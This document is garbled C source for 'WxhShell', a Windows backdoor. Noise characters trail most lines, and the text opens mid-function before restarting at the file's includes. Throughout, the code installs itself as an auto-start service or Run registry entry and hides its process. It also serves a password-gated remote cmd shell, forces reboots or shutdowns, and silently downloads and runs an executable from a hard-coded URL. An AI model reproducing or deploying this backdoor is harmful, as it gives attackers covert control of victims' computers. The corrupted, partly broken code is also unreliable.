    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ).`a-Pv  
    if(Boot(SHUTDOWN)) RxeRO2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )A+j  
    else { s^X/ Om  
    closesocket(wsh);  DlkKQ  
    ExitThread(0); .aH?H]^  
    } 8gKR<X.G  
    break; PY:#F|uHS`  
    } fvAV[9/-  
  // 获取shell )mO;l/,0  
  case 's': { 21EUP6}8j  
    CmdShell(wsh); )BTs *7 j  
    closesocket(wsh); :/[ZgreN6  
    ExitThread(0); J?ZVzKTb>}  
    break; Pds*M?&F  
  } 4qXUk:C@m  
  // 退出 8ch~UBq/  
  case 'x': { `1v!sSR0R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $aI MQ[(  
    CloseIt(wsh); \gQ+@O&+  
    break; _89G2)U=C  
    } fQA)r  
  // 离开 i/EiUH/~  
  case 'q': { ovoI~k'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eii7pbc  
    closesocket(wsh); m%(JRh  
    WSACleanup(); `A{~}6jw  
    exit(1); ;p"XCLHl  
    break; 9i)mv/i  
        } dw}3B8]  
  } |]3);^0  
  } -6Si  
j/ IZm)\  
  // 提示信息 %~VIxY|d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @I.O T  
} CN>};>WlG  
  } hLD;U J?S  
r.5Js*VX!  
  return;  Kj|F  
} <%f%e4 [  
&Gwh<%=U  
// shell模块句柄 l"!;Vkg.5  
int CmdShell(SOCKET sock) <RsKV$Je I  
{ Kd1\D!#!6  
STARTUPINFO si; E1v<-UPbA  
ZeroMemory(&si,sizeof(si)); =w?cp}HW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g]Ny?61  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3VB V_/i;  
PROCESS_INFORMATION ProcessInfo; H#` ?toS  
char cmdline[]="cmd"; htSk2N/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #_|^C(]!  
  return 0; k<hO9;#qpL  
} I~6 ;9TlQ  
d>-EtWd  
// 自身启动模式 ?0&>?-?  
int StartFromService(void) li XD2N  
{ ZKTBjOa]*  
typedef struct M8Lj*JN  
{ P[oB'  
  DWORD ExitStatus; LtIZgOd<  
  DWORD PebBaseAddress; m:7bynT{  
  DWORD AffinityMask; S60`'!y  
  DWORD BasePriority; sgsMlZ3/  
  ULONG UniqueProcessId; <W^~Y31:0  
  ULONG InheritedFromUniqueProcessId; K ePHn:c  
}   PROCESS_BASIC_INFORMATION; 0].5[Jo  
'Em($A (  
PROCNTQSIP NtQueryInformationProcess; Di=6.gm[<  
dju{&wo~4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FKm2slzb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "t`e68{Ls  
u[qtuM?&  
  HANDLE             hProcess; 0evZg@JP`  
  PROCESS_BASIC_INFORMATION pbi; @h8~xs~DG  
lv&wp@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &bx,6dX  
  if(NULL == hInst ) return 0; _erH]E| [  
LEa:{s<:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NtL?cWct  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^O"`.2O1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2yc\A3ft#  
'|r !yAO6  
  if (!NtQueryInformationProcess) return 0; ' ]Y:gmM"  
UG$i5PV%i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xGPv3TLH^  
  if(!hProcess) return 0; qm_E/B  
<O&s 'A[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T^SOq:m&  
gE(03SX  
  CloseHandle(hProcess); K)Ka"H  
%LmB`DqZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AkC\CdmA  
if(hProcess==NULL) return 0; pDfF'jt9  
4TV9t"Dk+c  
HMODULE hMod; dGN*K}5  
char procName[255]; @) wXP@7  
unsigned long cbNeeded; }c:0cl  
8t; nU;E*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9r}} m0  
b5C #xxIO  
  CloseHandle(hProcess); ibL;99#  
VgL<uxq  
if(strstr(procName,"services")) return 1; // 以服务启动 r]{:{Z  
;kA2"c]m  
  return 0; // 注册表启动 \t3i9#Q  
} GM~jR-FZ  
}wKU=Vm  
// 主模块 g5`YUr+3?h  
int StartWxhshell(LPSTR lpCmdLine) WOoVVjMM  
{ #,C{?0!  
  SOCKET wsl; 0KEl+  
BOOL val=TRUE; ymu#u   
  int port=0; p};<l@  
  struct sockaddr_in door; W'yICt(#G  
Fx2&ji6u  
  if(wscfg.ws_autoins) Install(); 3f x!\  
7="V7  
port=atoi(lpCmdLine); #4?3OU#  
\WEC1+@  
if(port<=0) port=wscfg.ws_port; Z_/03K$q  
]RJ2`xf  
  WSADATA data; =s<QN*zJB0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c$TBHK;c  
jkd8M;Jw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6|x<) Gc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O,PHAwVG%L  
  door.sin_family = AF_INET; Q}]u n]]Zt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &3M He$  
  door.sin_port = htons(port); f.WtD`Oas  
p+Xz9A"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yuWrU<Kw  
closesocket(wsl); bK7DGw`1  
return 1; 8cl!8gfv  
} }z6HxB]$  
Y|bGd_j  
  if(listen(wsl,2) == INVALID_SOCKET) { F{S.f1Bsp  
closesocket(wsl); `Jo}/c 5R  
return 1; $onliW|  
} 3/ D fsv  
  Wxhshell(wsl); 7}MWmS^8j  
  WSACleanup(); oUH\SW8?  
L'(^[vR(  
return 0; D!CGbP(  
OXo-(HLE  
} ]T1"3 [si  
AkF3F^  
// 以NT服务方式启动 gKnAw+u\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _*_zyWW_j  
{ uxBk7E%6  
DWORD   status = 0; HukHZ;5  
  DWORD   specificError = 0xfffffff; GZo^0U,;  
49yN|h;c!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /TdTo@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #frhO;6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wp ]u0w  
  serviceStatus.dwWin32ExitCode     = 0; UA^E^$f:  
  serviceStatus.dwServiceSpecificExitCode = 0; 7G(X:!   
  serviceStatus.dwCheckPoint       = 0; +!rK4[W'  
  serviceStatus.dwWaitHint       = 0; Nz8iU@!a  
[(1O_X(M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;:OJQFu%4  
  if (hServiceStatusHandle==0) return; x:(e: I8x(  
gDH x+"?  
status = GetLastError(); K4KmoGb  
  if (status!=NO_ERROR) =e63>*M|  
{ & b%6pVj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,b/0_Q  
    serviceStatus.dwCheckPoint       = 0; >2ct1_  
    serviceStatus.dwWaitHint       = 0; 5:6mptn>  
    serviceStatus.dwWin32ExitCode     = status; QP'* )gjO7  
    serviceStatus.dwServiceSpecificExitCode = specificError; (NP=5lLH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GIp?}tM  
    return; n D?XP<9UU  
  } hd900LA}  
p"ZPv~("V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d7 @ N~<n  
  serviceStatus.dwCheckPoint       = 0; jU=)4nx  
  serviceStatus.dwWaitHint       = 0; drH!?0Dpg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }I]9I _S  
} ][.1b@)qV  
3Xy>kG}  
// 处理NT服务事件,比如:启动、停止 @{j-B IRZ0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?r/7:  
{ lD(d9GVm{z  
switch(fdwControl) Q x:+n`$/  
{ XHW{EVcF  
case SERVICE_CONTROL_STOP: z-,'W`  
  serviceStatus.dwWin32ExitCode = 0; ' Mg%G(3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )K}b,X`($  
  serviceStatus.dwCheckPoint   = 0; cWm.']  
  serviceStatus.dwWaitHint     = 0; ]uP {Sj  
  { R1U\/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iS{)Tll}&  
  } 1oC/W?l^  
  return; 0-QkRr_ I  
case SERVICE_CONTROL_PAUSE: Z|)~2[Roa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b{sFN !  
  break; wM><DrQ  
case SERVICE_CONTROL_CONTINUE: =w8*n2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >k:)'*  
  break; &#WTXTr0=  
case SERVICE_CONTROL_INTERROGATE: y jb.6  
  break; d;f,vN(  
}; 0FXM4YcrJO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bw@tA7Y  
} 8F%T Z M  
M 3^p,[9r#  
// 标准应用程序主函数 g?`w)O 7v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WvR}c  
{  X(bb1  
NKd):>d%  
// 获取操作系统版本 v5&WW?IBQ  
OsIsNt=GetOsVer(); eudPp"Km  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \HRQSfGt  
y`'Ly@s  
  // 从命令行安装 L%fWa2P'  
  if(strpbrk(lpCmdLine,"iI")) Install(); NvYgRf}uh  
,TL~];J'  
  // 下载执行文件 }(gXlF  
if(wscfg.ws_downexe) { UF}fmDi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WS;3a}u  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8z@A/$T  
} ,2u]rLxx;  
y:1?~R  
if(!OsIsNt) { qoOHWh&  
// 如果时win9x,隐藏进程并且设置为注册表启动 VGTo$RH  
HideProc(); b\}`L"  
StartWxhshell(lpCmdLine); "|f;   
} m|p}Jf!  
else }V`Fz',lZ  
  if(StartFromService()) jAF DkqH  
  // 以服务方式启动 7/Ew(X8Fs  
  StartServiceCtrlDispatcher(DispatchTable); Z$2mVRS`c  
else )M1.>?b  
  // 普通方式启动 K":- zS  
  StartWxhshell(lpCmdLine); XfB;^y=u8  
2 !{P<   
return 0; y#r=^r]l)  
} qD 2<-E&M/  
U; ev3  
#LF_*a0v  
1`b?nX  
=========================================== 75<E0O  
G.L4l|%W  
{ Ke3  
i^j{l_-JE  
W&G DE  
x'}{^'}/  
" m`n51i{U  
!5x"d7  
#include <stdio.h> F YcC2TM  
#include <string.h> |Y:T3hra61  
#include <windows.h> InRn!~_N  
#include <winsock2.h> yl|+D]  
#include <winsvc.h> 2f F)I&  
#include <urlmon.h> )-[X^l j  
Y ||!V  
#pragma comment (lib, "Ws2_32.lib") xOP\ +(  
#pragma comment (lib, "urlmon.lib") tw^V?4[Miu  
5JQq?e)n  
#define MAX_USER   100 // 最大客户端连接数 cpf8f i  
#define BUF_SOCK   200 // sock buffer :s*&_y  
#define KEY_BUFF   255 // 输入 buffer 'v4AM@%u  
~d28"p.7  
#define REBOOT     0   // 重启 }k'8*v}8  
#define SHUTDOWN   1   // 关机 HD Eqq  
)07M8o !^l  
#define DEF_PORT   5000 // 监听端口 C!v0*^i  
`4XfT.9GT  
#define REG_LEN     16   // 注册表键长度 8> Gp #T  
#define SVC_LEN     80   // NT服务名长度 S tn[M|  
yv,90+k  
// 从dll定义API QTM+ WD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J>x)J}:;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O`H[,+vm[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >KC*xa"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PE+N5n2Tl  
jUdW o}/  
// wxhshell配置信息 wHdq:,0-!  
struct WSCFG { w Xfy,W  
  int ws_port;         // 监听端口  k:R9wo  
  char ws_passstr[REG_LEN]; // 口令 /9W-;l{=z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3K P6M=  
  char ws_regname[REG_LEN]; // 注册表键名 ^h=;]vxO  
  char ws_svcname[REG_LEN]; // 服务名 K@%.T#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BwrMRMq"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [BmondOx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0p:n'P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X=_N7!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [R6du*P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H|==i2V{  
4LKOBiEM  
}; 8V.x%T  
ExV>s*y  
// default Wxhshell configuration Bglh}_X  
struct WSCFG wscfg={DEF_PORT, Qq^>7OU>Co  
    "xuhuanlingzhe", /tx_I(6F?|  
    1, *}cF]8c5W  
    "Wxhshell", 5>"-lB &  
    "Wxhshell", o=4d2V%m  
            "WxhShell Service", !dStl:B  
    "Wrsky Windows CmdShell Service", /k(0}g=\  
    "Please Input Your Password: ", $v$~.  
  1, VI[ikNpX  
  "http://www.wrsky.com/wxhshell.exe", -i7W|X"  
  "Wxhshell.exe" !SKEL6~7  
    }; 8iR%?5 >K  
OT\[qaK  
// 消息定义模块 IgQW 5E#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jW"C: {Ol;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s0qA8`Yu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '72ZLdi}-  
char *msg_ws_ext="\n\rExit."; pX*Oc6.0mu  
char *msg_ws_end="\n\rQuit."; q?e97a  
char *msg_ws_boot="\n\rReboot..."; )!e-5O49r  
char *msg_ws_poff="\n\rShutdown..."; g_5:o 3s  
char *msg_ws_down="\n\rSave to "; \{P(s:  
hA/K>Z  
char *msg_ws_err="\n\rErr!"; 6ZR'1_i6i=  
char *msg_ws_ok="\n\rOK!"; ~;3N'o  
wYOSaGyZ0I  
char ExeFile[MAX_PATH]; CXb)k.L   
int nUser = 0; km4::'(6  
HANDLE handles[MAX_USER]; iK s/8n  
int OsIsNt; B}C"Xc  
cc Z A  
SERVICE_STATUS       serviceStatus; q;InFV3rv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^kzw/. I{  
k#w[G L|T  
// 函数声明 "fL:scq@0  
int Install(void); BJ@tU n  
int Uninstall(void); ZS4lb=)G  
int DownloadFile(char *sURL, SOCKET wsh); 7fgA)dU:K  
int Boot(int flag); `/Zi=.rr  
void HideProc(void); '/Hx0]V  
int GetOsVer(void); U(3{6^>Gc  
int Wxhshell(SOCKET wsl); C;y3?+6P$  
void TalkWithClient(void *cs); O)kC[e4  
int CmdShell(SOCKET sock); ~Q0gSazXFt  
int StartFromService(void); n[[rI0]g  
int StartWxhshell(LPSTR lpCmdLine); d@8=%x:  
u0Fu_Rtr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pBG(%3PpW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `sAz1/N  
x%jJvwb^|  
// 数据结构和表定义 `u 3to{  
SERVICE_TABLE_ENTRY DispatchTable[] = $,bLK|<hi  
{ p%jl-CC1  
{wscfg.ws_svcname, NTServiceMain}, 7^ A;.x  
{NULL, NULL} Bq#?g@V  
}; weEmUw Z  
rL w,?  
// 自我安装 Ont4-AP   
int Install(void) 9_n!.zA<  
{ i<YatW~Pu  
  char svExeFile[MAX_PATH]; |-bSoq7t  
  HKEY key; cP''  
  strcpy(svExeFile,ExeFile); L6fc_Mo.EE  
b?hdWQSW7  
// 如果是win9x系统,修改注册表设为自启动 7q<I7Wt  
if(!OsIsNt) { !i&^H,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L 5J=+k,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]!E|5=q  
  RegCloseKey(key); R+ lwOVX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CLg;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yc/Nz(m  
  RegCloseKey(key); TPZZln'3   
  return 0; ,a9<\bd)  
    } ;;pxI5  
  } 9[N+x2q  
} ?%J{1+hY  
else { _%Sorr  
n_Px=s!1p@  
// 如果是NT以上系统,安装为系统服务 ~+d?d6*c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qba<$  
if (schSCManager!=0) ja3wXz$2  
{ kz\ D-b  
  SC_HANDLE schService = CreateService DBANq\  
  ( (9]`3^_,J  
  schSCManager, )sWdN(E3  
  wscfg.ws_svcname, rlqn39  
  wscfg.ws_svcdisp, 2s_shY<=}L  
  SERVICE_ALL_ACCESS, al$G OMi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *|h-iA+9  
  SERVICE_AUTO_START, a1R2ocC  
  SERVICE_ERROR_NORMAL, R ,-y  
  svExeFile, =PWh,lWS  
  NULL, fo9O+e s  
  NULL, NWd%Za5K;  
  NULL, i% 19|an  
  NULL, s,XKl5'+8e  
  NULL fEf ",{I  
  ); r e.chQ6  
  if (schService!=0) rT9<_<  
  { *xR;}%s\  
  CloseServiceHandle(schService); o6,$;-?F_  
  CloseServiceHandle(schSCManager); A rC4pT   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,7,x9qE"  
  strcat(svExeFile,wscfg.ws_svcname); !7 "-9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o_ka'|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `VX]vumG  
  RegCloseKey(key); >MZWm6M8  
  return 0; ac%%*HN,  
    } o<ak&LX`9  
  } 6*9hAnH  
  CloseServiceHandle(schSCManager); % \p:S)R  
} ]CsF} wr'z  
} Z? u\  
]`)50\pdw  
return 1; Mk9'  
} v*`$is+  
8gwJ%"-K  
// 自我卸载 XF(0>-  
int Uninstall(void) L/dG 0a@1X  
{ H)S" `j  
  HKEY key; sJo]$/?F  
,Q!sns[T  
if(!OsIsNt) { k0~mK7k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &0Yv*,4]  
  RegDeleteValue(key,wscfg.ws_regname); ]vj=M-:+  
  RegCloseKey(key);  F* "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Fp,nE-B  
  RegDeleteValue(key,wscfg.ws_regname); 5m{!Rrb  
  RegCloseKey(key); rlTCVmE8[  
  return 0; m|!R/,>S4  
  }  w=5D>]  
} # le<R  
} g((glr)6M  
else { ,{P*ZK3u  
UUi@ U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LN}eD\  
if (schSCManager!=0) TD:NL4dm  
{ Lh.?G#EM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7.)e4  
  if (schService!=0) 17g\XC@ Cl  
  { rUvjc4O}  
  if(DeleteService(schService)!=0) { `(s&H8x#  
  CloseServiceHandle(schService); ~Z-M?8:  
  CloseServiceHandle(schSCManager); 4TcKs}z  
  return 0; m`luMt9  
  } u:#+R_0#97  
  CloseServiceHandle(schService); ;v%Fw!b032  
  } +k|t[N  
  CloseServiceHandle(schSCManager); 0gdFXh$!e  
} h?E[28QB  
} [@d$XC]Qz  
% C~2k?  
return 1; }= OI (Wy  
} -U/"eVM  
}z{2~ 0,  
// 从指定url下载文件 2Zt :]be  
int DownloadFile(char *sURL, SOCKET wsh) n,D~ whZx  
{ bH4'j/3  
  HRESULT hr; 9qc<m'MZ  
char seps[]= "/"; 0kxo  
char *token; ?/ xk  
char *file; Yd]y`J?#  
char myURL[MAX_PATH]; -6lsR  
char myFILE[MAX_PATH]; Y_m/? [:  
A&EVzmj-+X  
strcpy(myURL,sURL); Cm@e^l!  
  token=strtok(myURL,seps); DM {r<?V  
  while(token!=NULL) sf{rs*bgp  
  { NA%M)u{|  
    file=token; H",w$$e F  
  token=strtok(NULL,seps); Zzy!D  
  } "f^s*I  
-*xm<R],  
GetCurrentDirectory(MAX_PATH,myFILE); g}>Sc=e <  
strcat(myFILE, "\\"); { No*Z'X  
strcat(myFILE, file); x'IVP[xh`A  
  send(wsh,myFILE,strlen(myFILE),0); 8m% +O#  
send(wsh,"...",3,0); )I7~ <$w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n0|oV(0FE  
  if(hr==S_OK) \Tf[% Kt x  
return 0; ~)>O=nR  
else #oBMA  
return 1; DUBEh@  
ZH'- >/  
} ?,G CR1|4  
ZlaU+Y(_[  
// 系统电源模块 anDwv }  
int Boot(int flag) -|E|-'  
{ R^8L^8EL  
  HANDLE hToken; D7q%rO|F'  
  TOKEN_PRIVILEGES tkp; qKoD*cl)Za  
}:JE*D|  
  if(OsIsNt) { Wp2b*B=-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QwF\s13  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,/{(8hn  
    tkp.PrivilegeCount = 1; j1/.3\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +um Ua  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qg521o$*  
if(flag==REBOOT) { :r5DR`Rfm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K@uUe3  
  return 0; ey'x3s_  
} P .I <.e  
else { :|j,x7&/{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hC1CISm.U  
  return 0; ~W?F.  
} bbGSh|u+P  
  } TVaD',5_V%  
  else {  :{#%_^}k  
if(flag==REBOOT) { -TIrbYS`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w5j6RQml  
  return 0; Y&vn`#   
} H{XbKLU  
else { P''5A6#5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U[l7n3Y=  
  return 0; &G#LQl  
} q. i2BoOd  
} xZmO^F5KHj  
n-HQk7=mQ  
return 1; n^} -k'l  
} <n8K"(sy}  
fW /G_  
// win9x进程隐藏模块 u\L=nCtLby  
void HideProc(void) 96L-bBtyY  
{ JnC$}amr  
(#|CL/&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "6[a%f#Q  
  if ( hKernel != NULL ) j`fQN  
  { KKrLF?rc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A&HN7C%X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L5+X&  
    FreeLibrary(hKernel); &sFEe<  
  } iD;pXE{2s%  
#3b_ #+,  
return; =H<I` J'  
} ~0;l\^  
_*tU.x|DP  
// 获取操作系统版本 6Kl%|VrJs  
int GetOsVer(void) S JseP_-  
{ GJu[af  
  OSVERSIONINFO winfo; <7U\@si4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e8WuAI86  
  GetVersionEx(&winfo); b" Z$?5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pKxsK^O5[  
  return 1; :i{Svb*_'  
  else >i6sJ)2?>  
  return 0; l**gM  
} k-:wM`C  
q <, b  
// 客户端句柄模块 11'^JmKA  
int Wxhshell(SOCKET wsl) J AQ y  
{ fwkklg^  
  SOCKET wsh; =:w]EpH"  
  struct sockaddr_in client; `u<\ 4&W  
  DWORD myID; G_vcuCHm  
_1c0pQ^}3  
  while(nUser<MAX_USER) qjcPJ  
{ @r.w+E=  
  int nSize=sizeof(client); n7|8`? R^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p)u?x)w=  
  if(wsh==INVALID_SOCKET) return 1; Po)!vL"   
j&(Yk"j+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t!=qt*  
if(handles[nUser]==0) <Ny DrO"C3  
  closesocket(wsh); + :IwP  
else p\'0m0*   
  nUser++; Qkvg85  
  } J]!&E~Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VW$a(G_h  
Gu#Vc.e  
  return 0; O(R1D/A[  
} TR<M3,RG#%  
|;(95  
// 关闭 socket P&>!B,f  
void CloseIt(SOCKET wsh) q&DM*!Jq  
{ wV604eO(  
closesocket(wsh); N4[`pXM6  
nUser--; .jXD0~N8q  
ExitThread(0); Kl Kk?6 >  
} 8gHOs#\  
483/ZgzT`  
// 客户端请求句柄 Nv~H797B  
void TalkWithClient(void *cs) [$Dzf<0  
{ /e:kBjysJ  
|]Eli%mNe  
  SOCKET wsh=(SOCKET)cs; F3?PlH:Y  
  char pwd[SVC_LEN];  kS7`g A  
  char cmd[KEY_BUFF]; QX`T-)T e  
char chr[1]; nxjP4d>  
int i,j; rA\6y6dFs  
Z!& u_  
  while (nUser < MAX_USER) { /<R[X>]<F  
mA?fCs  
if(wscfg.ws_passstr) { L0Ycf|[s,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +W%3VV$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % tE#%;Z  
  //ZeroMemory(pwd,KEY_BUFF); 4:I'zR5  
      i=0; ^pysoaZCT_  
  while(i<SVC_LEN) { svaclkT=  
*y0=sG1+D  
  // 设置超时 m]?C @ina  
  fd_set FdRead; .eHOG]H  
  struct timeval TimeOut; :~{Nf-y0`1  
  FD_ZERO(&FdRead); Q,m&XpZ  
  FD_SET(wsh,&FdRead); J#*%r)  
  TimeOut.tv_sec=8; rRQKW_9mB  
  TimeOut.tv_usec=0; O a%ZlEUF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8Y,imj\(v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xU!eT'Y  
0! W$Cz[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Xm4%~b_gj  
  pwd=chr[0]; tRCz[M&  
  if(chr[0]==0xd || chr[0]==0xa) { TPF5?  
  pwd=0; @}<b42  
  break; S]x\Asj;w  
  } `3e>JIl"0  
  i++; -z~;f<+I`  
    } fEB&)mM  
"g%=FH3e  
  // 如果是非法用户,关闭 socket ED;rp 9(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YApm)O={  
} 69? wZfj'  
I^l\<1"]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9 S4bg7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $X_A 74 (  
8W2oGL6  
while(1) { t) l  
IZs NMY  
  ZeroMemory(cmd,KEY_BUFF); T^DJ/uhd  
m#,AD,s  
      // 自动支持客户端 telnet标准   \|YIuzlO4  
  j=0; :V!F~  
  while(j<KEY_BUFF) { p9-s'F|@i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VK>Cf>  
  cmd[j]=chr[0]; (Zoopkxw  
  if(chr[0]==0xa || chr[0]==0xd) { P;U(2;9 N  
  cmd[j]=0; )Y &RMYy  
  break; I /z`)  
  } GO]5~ 4k  
  j++; 5L y Wg2  
    } v+vM:At4  
mv{bX|.  
  // 下载文件 G -V~6  
  if(strstr(cmd,"http://")) {  va [r~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 928uGo5  
  if(DownloadFile(cmd,wsh)) l{mC|8X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EdTR]}8  
  else B2^*Sr[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P47x-;  
  } "O/ 6SV  
  else { 6 hiWgbE  
1d 1 ~`B  
